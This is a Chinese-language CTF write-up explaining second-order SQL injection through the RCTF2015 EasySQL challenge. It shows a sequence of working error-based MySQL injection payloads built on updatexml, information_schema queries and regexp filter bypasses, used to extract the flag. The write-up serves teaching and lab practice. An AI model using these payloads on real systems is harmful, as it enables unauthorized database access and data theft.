从几道CTF例题学习二次注入


二次注入简介

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被再次读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序再次调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入和普通的sql注入区别就是,二次注入是把恶意代码放入数据库中,执行后通过select等语句把结果回显。

[RCTF2015]EasySQL

进入题目:

image-20201017100623711

一个登录页一个注册页面。

经测试,登录页面不可注入,我们只能注册一个用户来看看能不能二次注入。

随便注册一个用户:

image-20201017100807768

去发现报错:

image-20201017100839413

经测试,usernameemail 处有过滤,直接 fuzz 一下可以得知禁用了以下字符:

@
or
and
space(空格)
substr
mid
left
right
handle
.......

我们注册一个whoami\用户:

image-20201017101757441

登录后,在修改密码的页面修改密码时可以发现报错:

image-20201017101821600

image-20201017101903737

可以看到是username处是双引号包裹的,这明显是一个二次注入,然后重新构造语句发现不能含有空格。但是这并不影响,直接用括号代替就行了。

我们猜测后台的查询语句应该是:

select * from users where username = "whoami" and pwd = '924219d4140cb24352b6d5c520d019ba'

当我们注册一个whoami\用户时,后台对\进行了转义,但在恶意数据\插入到数据库时又被还原并存储在数据库中,当我们修改密码时,Web程序再次调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入:

select * from users where username = "whoami\" and pwd = '924219d4140cb24352b6d5c520d019ba'

所以我们的思路是:

  1. 注册一个恶意用户,注入点在username。
  2. 登陆用户
  3. 修改密码,触发漏洞

因为只存在报错回显,所以我们可以直接用报错注入。

获取表名:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7c),1))#

image-20201017102419331

登录后修改密码,得到报错回显:

image-20201017102504705

得到article、flag、users这三个表。

获取flag表的字段:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7c),1))#

image-20201017102641853

获取flag:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(flag))from(flag)),0x7c),1))#

发现flag是假的:

image-20201017102743586

那么flag应该在users表中。并且,好像还有显示不全的问题。

获取users表的字段:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7c),1))#

image-20201017102926853

发现存在一个real_flag_1s_her字段。

我们查询该字段:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(real_flag_1s_her))from(users)),0x7c),1))#

image-20201017103046462

却报错说没有改字段。所以我们可以进一步推测确实存在输出不全的问题,导致real_flag_1s_her

字段的名字没有完全输出。

我们可以用regexp来进行正则匹配:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7c),1))#

image-20201017103355935

得到该表的全名为real_flag_1s_here,查询该字段:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(real_flag_1s_here))from(users)),0x7c),1))#

发现输出了一堆xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx:

image-20201017103521750

还是由于输出不全的问题,我们的flag没有显示出来,我们还是用regexp来进行正则匹配:

whoami"^(updatexml(1,concat(0x7c,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7c),1))#

image-20201017103706110

得到了一部分flag,还有一部分flag没有输出,由于left、right都被过滤了,所以我们可以用reverse逆序输出flag:

whoami"^(updatexml(1,concat(0x7c,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),0x7c),1))#

得到:

image-20201017103856050

得到逆序后的后部分flag,用python 的切片步长为-1得到正向的flag,然后拼接即可:

flag_re = '}1e9c0ae66c62-d77a-b824-7e75-ec'
flag = flag_re[::-1]
print(flag)

image-20201017104010007

拼接后,得到flag为:

flag{2b0370ce-57e7-428b-a77d-26c66ea0c9e1}


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC